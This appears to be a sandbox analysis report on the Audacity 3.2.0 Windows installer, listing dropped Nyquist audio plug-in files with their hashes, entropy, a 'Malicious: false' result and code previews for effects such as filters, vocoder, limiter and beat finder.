Preview:	$nyquist plug-in..$version 4..$type process spectral..$name (_ "Spectral Edit Multi Tool")..$author (_ "Paul Licameli")..$release 2.3.0-1..$copyright (_ "GNU General Public License v2.0")....;; License: GPL v2..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference....;; SpectralEditMulti.ny by Paul Licameli, November 2014...;; Updated by Steve Daulton 2014 / 2015.......(defun wet (sig f0 f1 fc).. (cond.. ((not f0) (highpass2 sig f1)).. ((not f1) (lowpass2 sig f0)).. (T (let ((q (/ fc (- f1 f0)))).. (notch2 sig fc q)))))....(defun result (sig).. (let* ((f0 (get 'selection 'low-hz)).. (f1 (get 'selection 'high-hz)).. (fc (get 'selection 'center-hz)).. (bw (get 'selection 'bandwidth)).. (tn (truncate len)).. (rate (snd-srate sig)).. (transition (truncate (* 0.01 rate))) ; 10 ms..

C:\Program Files\Audacity\Plug-Ins\is-853A0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2827
Entropy (8bit):	4.682119603574164
Encrypted:	false
SSDEEP:	48:IpdPvCyCBjrdQCALyolRG6l59zsjL6shK8GX+v2mHlEBMv/dYFj0Dy:I6y8jrdQ5e66vkPueuvqFj0W
MD5:	59F80CBF169A99DACE8C92B244B93E06
SHA1:	2D27FA6A21317B72BB946ED55EBE21787C9B4177
SHA-256:	BD96ACB350B9ECEFC2C832E21E8F86A46887E6224ACA1760869E88D3D885842D
SHA-512:	7CEBC5F84FECD845434E920D85AF57607E8FB4A54DFCD823C257F6066DAF7895E1024195CD21F89D21CD31EE87AF506158668CC9F557FAA4A325B38DC14A6D4D
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process spectral..$preview linear..$name (_ "Spectral Edit Parametric EQ")..$manpage "Spectral_edit_parametric_EQ"..$debugbutton false..$author (_ "Paul Licameli")..$release 2.3.0-1..$copyright (_ "GNU General Public License v2.0")....;; License: GPL v2..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference....;; SpectralEditParametricEQ.ny by Paul Licameli, November 2014...;; Updated by Steve Daulton 2014 / 2015.......$control control-gain (_ "Gain (dB)") real "" 0 -24 24....(defun wet (sig gain fc bw).. (eq-band sig fc gain (/ bw 2)))....(defun result (sig).. (let.. ((f0 (get 'selection* 'low-hz)).. (f1 (get 'selection 'high-hz)).. (fc (get 'selection 'center-hz)).. (bw (get 'selection 'bandwidth)).. (tn (truncate len)).. (rate (snd-srate sig)).. (transition (tr

C:\Program Files\Audacity\Plug-Ins\is-BD9F7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2829
Entropy (8bit):	4.904127406733189
Encrypted:	false
SSDEEP:	48:foImo6r6RcWfyCB06/SxYaeGJjInvr9b5FEywZAqy3Cd0TFRFoFm5jTTbi6kWd:foDou0y8xaSaeGe0ZAqICKFRFoFMTbiu
MD5:	D5CD82B1DA32383979A6F84B84318B22
SHA1:	66D7F574A2D786A62F735801415D981DB1711FDB
SHA-256:	B549F5C9179FBBD3235697559941086D32833D33BB03668DC1BE9CFF36796C96
SHA-512:	B6DF4DE0149D90F16A765932185DE86EC4D294E067A92EFAFF75C0F604418843BAC4EEEC4E355FC635F73424E02A0490326849C7C89A9308A374A8BE729BBAD2
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type generate..$preview linear..$i18n-hint named for Jean-Claude Risset (silent t)..$name (_ "Risset Drum")..$manpage "Risset_Drum"..$debugbutton false..$author (_ "Steven Jones")..$release 2.3.0-1..$copyright (_ "GNU General Public License v2.0 or later")....;; rissetdrum.ny by Steven Jones, after Jean Claude Risset...;; Updated by Steve Daulton 2012 and May 2015.....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control freq (_ "Frequency (Hz)") real "" 100 50 2000..$control decay (_ "Decay (seconds)") real "" 2 0.1 60..$control cf (_ "Center frequency of noise (Hz)") real "" 500 100 5000..$control bw (_ "Width of noise band (Hz)") real "" 400 10 1000..$control noise (_ "Amount of noise in mix (percent)") real "" 25 0 100..$control gain (_ "Amplitude (0 - 1)") real "" 0.8 0 1......(d

C:\Program Files\Audacity\Plug-Ins\is-BRLM5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	7558
Entropy (8bit):	4.774369472012177
Encrypted:	false
SSDEEP:	96:fzWvey8A694QmVEKVKylYtw2FIFtFqhFO/7Djuet4BuDuNs83NFP8e9iOFiGvFWp:fzUDvV1hlYtwdLSv2r8gv
MD5:	45FE96B10537FD59271E403AD5A002D8
SHA1:	5BBE15C0777CB0DB482FBDE513E5F867875D8D35
SHA-256:	BF611D823EFE0475BBB81D209D87CCFD37CFA236EFC9220E84F219E962387736
SHA-512:	6B5C4CA583E03D6A032C30C1D3CD7A29B02CB707873BF6CCE1581549186A98914493D58B66A54C8567E253284CF71E0C7F0C965031245B2C4F1ADBE33430C204
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type generate..$name (_ "Rhythm Track")..$manpage "Rhythm_Track"..$debugbutton false..$preview linear..$author (_ "Dominic Mazzoni, David R. Sky and Steve Daulton")..$release 3.0.0-1..$copyright (_ "GNU General Public License v2.0")......;; Drip sound generator by Paul Beach....;; TODO: add more drum sounds....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control tempo (_ "Tempo (bpm)") real (_ "30 - 300 beats/minute") 120 30 300..$control timesig (_ "Beats per bar") int (_ "1 - 20 beats/measure") 4 1 20..$control swing (_ "Swing amount") float (_ "+/- 1") 0 -1 1..$control text (_ "Set 'Number of bars' to zero to enable the 'Rhythm track duration'.")..$control bars (_ "Number of bars") int (_ "1 - 1000 bars") 16 0 1000..$control click-track-dur (_ "Rhythm track duration") time (_ "Use

C:\Program Files\Audacity\Plug-Ins\is-C5P2B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4085
Entropy (8bit):	4.77962918800592
Encrypted:	false
SSDEEP:	96:I+y8kVWA4tQIiGwM5DCFplVFGLnwpmKFMFXAFbF3FYpVRFC:IMA4tQ5M5g9Gzimo
MD5:	8B6EA608CB6BC2E647F51F3F0DDFC462
SHA1:	C3503EF087DF188A1531302FAFD7C2A649A5B420
SHA-256:	9F9A3A2ED163CB2F3A75DA9BCCBD3130F662D89E357FA31DA288156E39B93284
SHA-512:	7D51D47E4F781D08C7A0235117A9AE268F9F246A94B446339D63A3DFADAC00A069D58C2C6840DBDF07D15B1861C3881B01B32D4E1BCE3BAE90240C133367839F
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process..$preview enabled..$name (_ "Vocoder")..$manpage "Vocoder"..$debugbutton false..$author (_ "Edgar-RFT and Steve Daulton")..$release 3.1.2-1..$copyright (_ "GNU General Public License v2.0")......;; If selected track is mono, the vocoder uses sine waves as the modulation..;; carrier, mixed with noise and radar needles according to slider settings...;; If selected track is stereo, the right channel is used as the carrier wave.....;; License: GPL v2..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control dst (_ "Distance: (1 to 120, default = 20)") float "" 20 1 120..$control mst (_ "Output choice") choice (("BothChannels" (_ "Both Channels")).. ("RightOnly" (_ "Right Only"))) 0..$control bands (_ "Number of vocoder bands") int "" 40 10 240..$control track-

C:\Program Files\Audacity\Plug-Ins\is-EJHHE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5916
Entropy (8bit):	4.523348864400932
Encrypted:	false
SSDEEP:	96:QKy8nNNMtSgYF0FEFpxFGFRFyFHFSqxUxyFH+WLFImDmhjKH3hV2uq78:jMtSgYxyc+Wymqhjc3hoT8
MD5:	E0A4B751D8D2C0FA37982BB311F2AC00
SHA1:	B5039DDA294382A05B880DC21C36B4DB8BF87765
SHA-256:	F3D96980C9EE2283F2CF7673E26B7294E2F7FF9E2910D1BE62FF3150FF9467E2
SHA-512:	C06E8719E317AF5CD980B7E8784A494D7872A059010D5DE201DB841FABE7872389607F3CA125BDC645A31FFD54E8B55996415B9FB494DD32B171E7D1FD97126C
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type tool..$name (_ "EQ XML to TXT Converter")..$manpage "EQ_XML_to_TXT_Converter"..$debugbutton false..$preview disabled..$author (_ "Steve Daulton")..$release 3.0.4-1..$copyright (_ "GNU General Public License v2.0 or later")......;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control fxname (_ "Select target EQ effect") choice (("Graphic" (_ "Graphic EQ")).. ("FilterCurve" (_ "Filter Curve EQ"))) 0....$control infile (_ "Equalization XML file") file "" "default/EQCurves.xml" (((_ "XML file") (xml XML)).. ((_ "All files") (""))) "open,exists"....$control overwrite (_ "If output text file exists") choice (("Append" (_ "Append number")).. ("Overwrite

C:\Program Files\Audacity\Plug-Ins\is-G1KMP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2302
Entropy (8bit):	4.736384692648744
Encrypted:	false
SSDEEP:	48:URryfyCBhQWsWaUWLr/h1g8wyd7/MWHv1xclEmTb9:zy8B3aPfh1gO7Pu9
MD5:	9E7CEDA19FD263541C0EAEDB17B276D2
SHA1:	D60992741C05ADE755F3864B433E34AC9E9E705B
SHA-256:	505081470171EE97E27733D27941C77EC2A747BF970DBEC60DDAB3CAC8A161A1
SHA-512:	852D22C7402C2A4B9BB66816FD558CBDF59CB8CF2376FA3C37AB88ADA31AAEA569681A1724D30C8E7E16B6751A8B74747C9AFF92D44E40276842A7131802CD4F
Malicious:	false
Preview:	;nyquist plug-in..;version 4..;type analyze..;name "Measure RMS"..;debugbutton false..;author "Steve Daulton"..;release 2.3.1-1..$copyright (_ "GNU General Public License v2.0 or later")....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference....;; This plug-in demonstrates how authors of Nyquist plug-ins may add translations..;; for output messages. It is not currently possible to provide translations for strings..;; in the header comments (such as the plug-in name) of 3rd party plug-ins.......;; Translations strings:..;; The "en" translation is not normally required unless the original text is in another..;; language, but it can make testing easier...(setf locale.. '(("en" (("Left" "Left").. ("Right" "Right").. ("Stereo" "Stereo").. ("Mono" "Mono").. ("dB" "dB"))).. ("de" (("Left"

C:\Program Files\Audacity\Plug-Ins\is-II6NQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4957
Entropy (8bit):	4.5017741961308895
Encrypted:	false
SSDEEP:	96:0qy8jxKhRARPWBjhxEjWWQX+Dc/E0DPpTFQ2hE2XYk:08KhRAIui5cSEUpERk
MD5:	82420A5A48A1CFD1BCAC911C27E91C2D
SHA1:	8B07FD941DDBD7EB5A241500EA3E1A36A7B61E5A
SHA-256:	FF75300A77CCD08F0528712E46151B9917C1A721F2573BEBFE3D48946A485169
SHA-512:	91EC16731D03487124735BDA9CA87B18E155148671DDDF33D511865C07893051D0ABE2A9028D33C5B660E05625CBCF68FC33D13D1178ABADDD94551873DFFC27
Malicious:	false
Preview:	$nyquist plugin..$version 4..$type process..$mergeclips 1..$restoresplits 0..$name (_ "Crossfade Clips")..$author (_ "Steve Daulton")..$release 3.0.4-1..$copyright (_ "GNU General Public License v2.0 or later") ......;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference....;; Instructions:..;; Place two audio clips into the same track...;; Select (approximately) the same amount of audio from the..;; end of one clip and the start of the other...;; Apply the effect...;; The selected regions will be crossfaded...;;..;; Note, the audio clips do not need to be touching. Any..;; white-space between the clips is ignored...;;..;; If the selected region is continuous audio (no splits),..;; the the first and last halves of the selected audio..;; will be crossfaded...;;..;; Advanced Tip:..;; A discontinuity in a waveform may be smoothed by

C:\Program Files\Audacity\Plug-Ins\is-KU5LN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1434
Entropy (8bit):	4.592194090168389
Encrypted:	false
SSDEEP:	24:KcvIPv4tnxkCBNM3JyraOpUzMzM1OchMz5arc:KYIPvCyCBeEmOq+cQL
MD5:	BF693C7E64ED0829182F69407E0B10FB
SHA1:	6A90B6249598526CE36CF2F528D324E7CAC3CDB5
SHA-256:	BBBD5900C01477E444A8FCF4EB5A93B147622B8B2C2944B95F88B11BEB7E1C0B
SHA-512:	6D42FE0E1577D4CC6CE5A154140BC1E92A6A7EBE709B5A64EECED5A99B47EF50E2736F894BF47EA986A2B7FB2610F031EE045B95EA94F89F5AE38E1F42670662
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process..$preview linear..$name (_ "Low-Pass Filter")..$manpage "Low-Pass_Filter"..$debugbutton disabled..$author (_ "Dominic Mazzoni")..$release 2.3.0-1..$copyright (_ "GNU General Public License v2.0")....;; License: GPL v2..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control frequency (_ "Frequency (Hz)") float-text "" 1000 0 nil..$control rolloff (_ "Roll-off (dB per octave)") choice (("dB6" (_ "6 dB")).. ("dB12" (_ "12 dB")).. ("dB24" (_ "24 dB")).. ("dB36" (_ "36 dB")).. ("dB48" (_ "48 dB"))) 0......(cond.. ((< frequency 0.1) (_ "Frequency must be at least 0.1 Hz.")).. ((>=

C:\Program Files\Audacity\Plug-Ins\is-LHPLL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1440
Entropy (8bit):	4.600676419170374
Encrypted:	false
SSDEEP:	24:K+vIPv4tnxkCBNM3JyraOpUzMzM1OchMz5ac:KyIPvCyCBeEmOq+cQf
MD5:	8FDC9F31DB215807B68DC0CD34F7BE2B
SHA1:	CC70A260936E1200FE421CBDCEB11DFA0DABFDBB
SHA-256:	B540B378AB5D798CA953A8747D86CF52C0E0A0C1787027A8E86DEAC1F5A7E883
SHA-512:	31684F46806B1EA73AB894D16AD587D0D869512C6C808745BEC5D13DFF6738B7FF9C10484A174CBCFDC0E798BC8C67CDEC458A17C640F0E32223C792049E8792
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process..$preview linear..$name (_ "High-Pass Filter")..$manpage "High-Pass_Filter"..$debugbutton disabled..$author (_ "Dominic Mazzoni")..$release 2.3.0-1..$copyright (_ "GNU General Public License v2.0")....;; License: GPL v2..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control frequency (_ "Frequency (Hz)") float-text "" 1000 0 nil..$control rolloff (_ "Roll-off (dB per octave)") choice (("dB6" (_ "6 dB")).. ("dB12" (_ "12 dB")).. ("dB24" (_ "24 dB")).. ("dB36" (_ "36 dB")).. ("dB48" (_ "48 dB"))) 0......(cond.. ((< frequency 0.1) (_ "Frequency must be at least 0.1 Hz.")).. ((>

C:\Program Files\Audacity\Plug-Ins\is-LKBSE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	12538
Entropy (8bit):	4.549087506938177
Encrypted:	false
SSDEEP:	192:KbIXUjTr/VlYatd7nvy2OeO0svb8DstuPcMW3EXzqrM1g4uyt:yr/VlYYK2Ot0sT81WWyM1g41
MD5:	CBC9BCAE286B565E362CE43B8BE8F0D5
SHA1:	F51615C466A826B38C40F8C6E60E0F468C373714
SHA-256:	8949EBE4761494D7706187770035B70032354CE530E3049A743CBF3159D48094
SHA-512:	6265A83683870C6E3B33AFAEC1C7606175C89E331BD0830CF4F84371D7CD4BA9E065694E419B031F52785B32A584ECA7AD4AD1D9E769C94790C6714C6C9051D9
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process..$preview linear..$name (_ "Vocal Reduction and Isolation")..$manpage "Vocal_Reduction_and_Isolation"..$debugbutton false..$author (_ "Robert Haenggi")..$release 3.0.1-1..$copyright (_ "GNU General Public License v2.0")......;; vocrediso.ny, based on rjh-stereo-tool.ny....;; License: GPL v2..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control action (_ "Action") choice (.. ("RemoveToMono" (_ "Remove Vocals: to mono")).. ("Remove" (_ "Remove Vocals")).. ("Isolate" (_ "Isolate Vocals")).. ("IsolateInvert" (_ "Isolate Vocals and Invert")).. ("RemoveCenterToMono" (_ "Remove Center: to mono")).. ("RemoveCenter" (_ "Remove Center")).. ("IsolateCenter" (_ "Isolate Center")).. ("IsolateCenterInvert" (_ "Isolate Center and Invert")).. (_ "Analyze")) 0..$control strength (_

C:\Program Files\Audacity\Plug-Ins\is-LRPH6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4473
Entropy (8bit):	4.683874180020147
Encrypted:	false
SSDEEP:	96:6y8Cly4Jj5EtBQF7QVTF/QoFlXwff72/F4FnjBWgF2Fy3rLFlG:XlzvEt4jYgG
MD5:	A75DA464CD125BC986B8F42C234F781D
SHA1:	9D4E081932FC66F5BDA91068F049713C3042E756
SHA-256:	1DB358A6D0E9B842207BB8D0F7F87297199D30A04115636E00B13F6085A47EBB
SHA-512:	019EF93D8B8F487A908DB070EFB8561297D2E666579AF04E722128A012701F22F40A1990E6BA686997CB05D701CC12FCFBDC366B4B2D785BB0711C8E0534E1C2
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process..$preview enabled..$name (_ "Clip Fix")..$manpage "Clip_Fix"..$debugbutton false..$author (_ "Benjamin Schwartz and Steve Daulton")..$release 2.3.0-1..$copyright (_ "GNU General Public License v2.0")....;; License: GPL v2..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference....;; Algorithm by Benjamin Schwartz..;; Clip Fix is a simple, stupid (but not blind) digital-clipping-corrector..;; The algorithm is fairly simple:..;; 1. Find all clipped regions..;; 2. Get the slope immediately on either side of the region..;; 3. Do a cubic spline interpolation...;; 4. Go to next region......$control threshold (_ "Threshold of Clipping (%)") float "" 95 0 100..$control gain (_ "Reduce amplitude to allow for restored peaks (dB)") float "" -9 -30 0....(setf threshold (/ threshold 100))..(setf gain (db-to-linear gain)

C:\Program Files\Audacity\Plug-Ins\is-MD7TV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4750
Entropy (8bit):	4.645460236197891
Encrypted:	false
SSDEEP:	96:4y8FPQYS2hFlF6FqFyFCFyFZFZPiFo3GjwKKLoWCHgF8+528hU1XW:oPQYZiWY0rV8hUVW
MD5:	655E3FD6F60054E0FAA2D4A8B19708C3
SHA1:	D1A261BB49037628342530AD97A1408CB9F30D8E
SHA-256:	1B7470C8E6095F7CC35CA835543F80620BA1FD181E522E462BBD3E0350FBDBAB
SHA-512:	33382BD2E29F48D2E4C4E25915D1BF993C1B62CB5FFEFD459FF019C98EB07CC34E68FBDBF3ADDCB77933FAE93717DF6A8A79BCFEB33911FFD750EE4DF168FE30
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type process..$name (_ "Limiter")..$manpage "Limiter"..$debugbutton false..$preview enabled..$author (_ "Steve Daulton")..$release 3.0.4-1..$copyright (_ "GNU General Public License v2.0 or later")....;; limiter.ny by Steve Daulton November 2011, updated May 2015.....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control type (_ "Type") choice (.. ("SoftLimit" (_ "Soft Limit")).. ("HardLimit" (_ "Hard Limit")).. ;i18n-hint: clipping of wave peaks and troughs, not division of a track into clips.. ("SoftClip" (_ "Soft Clip")).. ("HardClip" (_ "Hard Clip"))..) 0..$control gain-L (_ "Input Gain (dB)..mono/Left") real "" 0 0 10..$control gain-R (_ "Input Gain (dB)..Right channel") real "" 0 0 10..$control thresh (_ "Limit to (dB)") real "" -3 -10 0..$control hold (_ "Hold (ms)") r

C:\Program Files\Audacity\Plug-Ins\is-MQUPM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	4.773453288496231
Encrypted:	false
SSDEEP:	24:Db1vjIPnxkCBhfHt++rAfYEMG9nhBK3VFfF4FSFpE9ObfVVxz:Db1rIfyCBhfNvrAAlGutISfVxz
MD5:	9BF1BC81FFF14FEE4A3B918E259F7E97
SHA1:	192B87F032EF3027A7DD60A62D8362BB197F0F7F
SHA-256:	2250C9DBE7719F4D888FC79692FB829F2CA84341B9FC38E57511B72A68CB021A
SHA-512:	5E891167EA16F8A9F414CE1DBB8C087C6F3AB140712729E64ADFB1BFDC08638B4B43140F6A8D5E227D2913ECA4AB804D1764EC469594B20C3AF4A97631D2D951
Malicious:	false
Preview:	$nyquist plug-in..$version 3..$type process..$preview linear..$name (_ "Tremolo")..$manpage "Tremolo"..$debugbutton disabled..$author (_ "Steve Daulton")..$release 2.3.0-1..$copyright (_ "GNU General Public License v2.0 or later")....;; tremolo.ny by Steve Daulton (www.easyspacepro.com) July 2012...;; Based on Tremolo by Dominic Mazzoni and David R. Sky."....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control wave (_ "Waveform type") choice ((_ "Sine").. (_C "Triangle" "waveform").. (_ "Sawtooth").. ("InverseSawtooth" (_ "Inverse Sawtooth")).. (_ "Square")) 0....$control phase (_ "Starting phase (degrees)") int "" 0 -180 180..$control wet (_ "Wet level

C:\Program Files\Audacity\Plug-Ins\is-NO5SG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	8761
Entropy (8bit):	4.6296217613814825
Encrypted:	false
SSDEEP:	192:d3vzc8yUVBVqTg3G1Fw0tsiK0CONDmld2ccd:d3vby1TgkFvvMzcd
MD5:	C07610E8344DB072884AB7E509CB9188
SHA1:	2A093C00438C421A8A81A2794D8342EE2EF43DE4
SHA-256:	EF5F211D1061BD74E20F7D6046C93D2C3CD47AD2FB745EFC0D0F74A254FBB920
SHA-512:	693D4C35262B0ED051781916C26FB363910A4B39293625C78E3DB4276B4E5300CDFDF3B3DEB0072C1DB7E7E3EEFD01834317DDD5909602E4059BF7F12C8A24A8
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type tool..$name (_ "Nyquist Plugin Installer")..$manpage "Nyquist_Plug-in_Installer"..$debugbutton false..$preview disabled..$author "Steve Daulton"..$release 2.4.0-1..$copyright (_ "GNU General Public License v2.0 or later")....;; License: GPL v2+..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......;i18n-hint: "Browse..." is text on a button that launches a file browser...$control files (_ "Select file(s) to install") file (_ "Browse...") "~/Desktop/" (((_ "Plug-in") (ny NY)).. ((_ "Lisp file") (lsp LSP)).. ((_ "HTML file") (htm HTM html HTML)).. ((_ "Text file") (txt TXT)).. ((_ "All supported") (ny NY lsp LSP htm HTM html HTML txt TXT)).. ((_ "All files") (""))) "open,exists,multiple"..$control overwrite

C:\Program Files\Audacity\Plug-Ins\is-ODRMT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1248
Entropy (8bit):	4.927785695257285
Encrypted:	false
SSDEEP:	24:R8QZPv4tnxkCBZppZFTuK+O+WZj/+4QRZUgob+pprFfDFr3Jx5tFu3v:RfPvCyCBZuBO+WpG4dQpprFfDFrFu3v
MD5:	06EB36763ABB67BE47E17D68803DF2A6
SHA1:	E61E3C4B981CF37D61AEDB6A3F6E32A44CD7C79F
SHA-256:	1A70ED50B75975EF845B51F4CD277184C6F3CE9570B36CE583CAF23F86DDF672
SHA-512:	FAB082C73E303A113A0864A7BEC990A001EF43373961674849E2C68774D2782E0502EBBB98649D20AEB94F56039BD71C2B789AD09D9483D135AF3A73657D0429
Malicious:	false
Preview:	$nyquist plug-in..$version 4..$type analyze..$name (_ "Beat Finder")..$manpage "Beat_Finder"..$debugbutton false..$author (_ "Audacity")..$release 2.3.2-1..$copyright (_ "GNU General Public License v2.0")....;; License: GPL v2..;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html..;;..;; For information about writing and modifying Nyquist plug-ins:..;; https://wiki.audacityteam.org/wiki/Nyquist_Plug-ins_Reference......$control thresval (_ "Threshold Percentage") int "" 65 5 100....(setf threshold (/ thresval 100.0))....(defun mix-to-mono (sig).. (if (arrayp sig).. (sum (aref sig 0) (aref sig 1)).. sig))....(defun bass-tracker (sig).. (let* ((bass (lp sig 50)).. ;(snd-follow sound floor risetime falltime lookahead).. (follower (snd-follow bass 0.001 0.01 0.1 512))).. (force-srate 1000 (lp follower 10))))......(let ((beats (bass-tracker (mix-to-mono track)))).. (setf peak-sig (peak beats ny:all)).. (setf threshold (* threshold peak-sig)).. (do ((ti

C:\Program Files\Audacity\Plug-Ins\is-P00HI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4397
Entropy (8bit):	4.439086848197121
Encrypted:	false
SSDEEP:	96:KGfS+J8zrnTrwAGR+6plfFBIa7qwjYD4FqAa:KGfoDXwhJnwaWwMD7
MD5:	2AC84EF79FDBF70DC00BBE7203919CE0
SHA1:	DBA0E9B87741984EDBE1A1AC2017BB3956BDCFE4
SHA-256:	542F789B3F2F450B6D6DD80C45DBCC344C4D8E119C435B9FBA1B224BEA092B0A
SHA-512:	2418298083EDEF2235CF71232C794A4114F359AABB697A1BF7029DB3B925BD4135BA9C20E4BBDDEDC70DCB3AF9BFAAF0313DA4CEC57D1AAEBBDF8B748BC1C68E
Malicious:	false
